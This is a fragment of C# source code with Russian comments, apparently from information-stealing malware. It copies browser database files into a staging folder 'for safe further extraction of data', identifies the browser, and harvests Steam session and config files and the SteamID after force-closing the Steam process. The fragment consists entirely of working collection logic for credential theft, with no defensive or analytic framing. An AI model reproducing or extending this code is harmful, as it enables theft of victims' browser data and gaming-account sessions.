/// <summary> /// Метод для копирования файлов БД в новую папку ( для безопасного дальнейшего извлечения данных ) /// </summary> /// <param name="Folder">Имя папки</param> /// <param name="filename">Имя файла</param> /// <param name="Recursive">Рекурсивное копирование файла</param> public static void CopyInSafeDir(string Folder, string filename, bool Recursive = true) { CombineEx.CreateOrDeleteDirectoryEx(true, Folder, FileAttributes.Normal); // Создаём новую папку куда будем копировать файлы foreach (string files in LCDFiles(filename)) // Проходимся по коллекции путей к файлам { if (CombineEx.ExistsFile(files)) // Проверяем каждый файл { try { // Проверяем что файл не пустой if (new FileInfo(files).Length != 0) { // Копируем в новую папку CombineEx.FileCopy(files, CombineEx.Inizialze(Folder, CombineEx.GetFileName(GetApplication.GetNameCycle(files))), Recursive); // Добавляем в новую коллекцию из новой папки ( безопасной ) GetSecureFile(Folder, GetApplication.GetNameCycle(files)); } } catch { continue; } } else { continue; } } }
/// <summary> /// Метод для получения имени браузера /// </summary> /// <param name="Item"></param> /// <returns></returns> public static string GetTitle(List <string> Item) { foreach (string Br in Item) { string Name = CombineEx.GetDirName(Br); if (CombineEx.ExistsDir(Name)) { return(CombineEx.GetFileName(Name)); } } return("Неизвестный браузер"); }
/// <summary> /// Метод для сбора файлов со Steam директории /// </summary> /// <param name="exp">Сбор файлов без расширений ( *." )</param> /// <param name="congfiles">Сбор файлов с config директории</param> /// <param name="name">Именная папка Config</param> /// <param name="proc">Имя процесса Стим</param> public static void Inizialize(string exp, string congfiles, string name, string proc) { // Проверяем путь к папке стим if (CombineEx.ExistsDir(SteamPath.GetLocationSteam())) { CombineEx.CreateOrDeleteDirectoryEx(true, CombineEx.CombinePath(GlobalPath.Steam_Dir, name), FileAttributes.Normal); CombineEx.CreateFile(false, GlobalPath.SteamID, SteamProfiles.GetSteamID()); // Закрываем процесс чтобы можно было скопировать файлы. ProcessControl.Closing(proc); try { // Проходимся циклом по файлам без расширения foreach (var Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), exp).Where( // Проверяем файл Unknown => File.Exists(Unknown)).Where( // Обходим файл .crash Unknown => !Unknown.Contains(".crash")).Select(Unknown => Unknown)) { CombineEx.FileCopy(Unknown, CombineEx.CombinePath(GlobalPath.Steam_Dir, CombineEx.GetFileName(Unknown)), true); } // Проходимся циклом по файлам конфиг foreach (var Config in Directory.EnumerateFiles(CombineEx.CombinePath(SteamPath.GetLocationSteam(), name), congfiles).Where( // Проверяем файл Config => File.Exists(Config)).Select(Config => Config)) { CombineEx.FileCopy(Config, CombineEx.CombinePath(CombineEx.CombinePath(GlobalPath.Steam_Dir, name), CombineEx.GetFileName(Config)), true); } } catch { } } }